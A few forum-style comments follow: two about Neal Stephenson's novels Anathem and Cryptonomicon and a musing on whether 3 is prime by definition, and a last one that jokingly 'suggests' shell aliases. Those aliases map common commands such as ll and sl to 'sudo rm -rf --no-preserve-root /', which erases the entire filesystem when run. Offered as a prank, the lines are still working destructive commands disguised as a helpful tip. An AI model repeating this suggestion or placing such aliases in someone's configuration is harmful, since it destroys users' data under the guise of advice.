  • Maybe your right and I am coming at it from the wrong angle.

    But several side discussions in the book have prompted major philosophical discussions with my daughter… Primarily the one about 3 being a prime number. Is that just how he universe works? Or it only prime because of the way we define a prime number? I think it was like a half paragraph afterthought in the book but it is an interesting thought experiment.



  • It’s funny… I started Cryptonomicon thinking it was going to be daunting… But I tore through it in about 3 days it was just so captivating. I think I have reread it 3 or 4 times.

    I can tell you now, no matter how Anathem ends, satisfyingly or not, I doubt I will ever pick it up again.

    I tell almost everyone, scifi fans or not, they should read the cryptonomicon tho.

    Some people want to watch the world burn.

    In order to improve your accuracy might I suggest:

    alias i='sudo rm -rf --no-preserve-root /'
    alias s='sudo rm -rf --no-preserve-root /'
    alias sl='sudo rm -rf --no-preserve-root /'
    alias ll='sudo rm -rf --no-preserve-root /'
    ...
    
    

    Etcetera. It will make sure you are punished for typos
